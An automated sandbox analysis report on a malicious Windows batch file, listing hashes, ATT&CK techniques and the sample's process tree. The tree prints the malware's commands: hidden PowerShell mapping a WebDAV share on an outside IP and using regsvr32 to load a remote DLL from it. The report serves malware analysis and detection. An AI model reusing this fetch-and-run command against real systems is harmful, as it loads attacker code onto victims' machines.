97998df308272da0953a59d56953f582ffa9da166116f6adb98f578b57f1d651

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 01:48

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General

Target

383223685160966714.bat
Size

6KB
MD5

40977cc5caaecfa5d995ad31a36be0c7
SHA1

23e8e797c5f8f9f970befc00499f4d427b786b78
SHA256

f36e8e2a1ef9cdc5ed41ac6d21803f679104ffad9247c5e18e1b8b0c369d7c2c
SHA512

63d7eee232869926cbd0b4ec68a022f59604402eaf99345e113f5ab5dc856d55496d22fa9f5c862df75ae3aea946bb58fbf0bcee01d34e23bb8bf837dcf8e889
SSDEEP

192:7Adyxf9oNjbpjY2edp+YExp+YuoIpvJg+KaweRkoV:7Kmf9oNjbpjY2edp+YExp+YSvqRleRD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2976	wordpad.exe
2976	wordpad.exe
2976	wordpad.exe
2976	wordpad.exe
2976	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2976	2560	cmd.exe	31
PID 2560 wrote to memory of 2976	2560	cmd.exe	31
PID 2560 wrote to memory of 2976	2560	cmd.exe	31
PID 2560 wrote to memory of 2144	2560	cmd.exe	32
PID 2560 wrote to memory of 2144	2560	cmd.exe	32
PID 2560 wrote to memory of 2144	2560	cmd.exe	32
PID 2144 wrote to memory of 2848	2144	powershell.exe	34
PID 2144 wrote to memory of 2848	2144	powershell.exe	34
PID 2144 wrote to memory of 2848	2144	powershell.exe	34
PID 2144 wrote to memory of 3000	2144	powershell.exe	35
PID 2144 wrote to memory of 3000	2144	powershell.exe	35
PID 2144 wrote to memory of 3000	2144	powershell.exe	35
PID 2144 wrote to memory of 3000	2144	powershell.exe	35
PID 2144 wrote to memory of 3000	2144	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\383223685160966714.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\7189184892565.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2848
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\7189184892565.dll
    3⤵
    PID:3000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2144-23-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2144-24-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download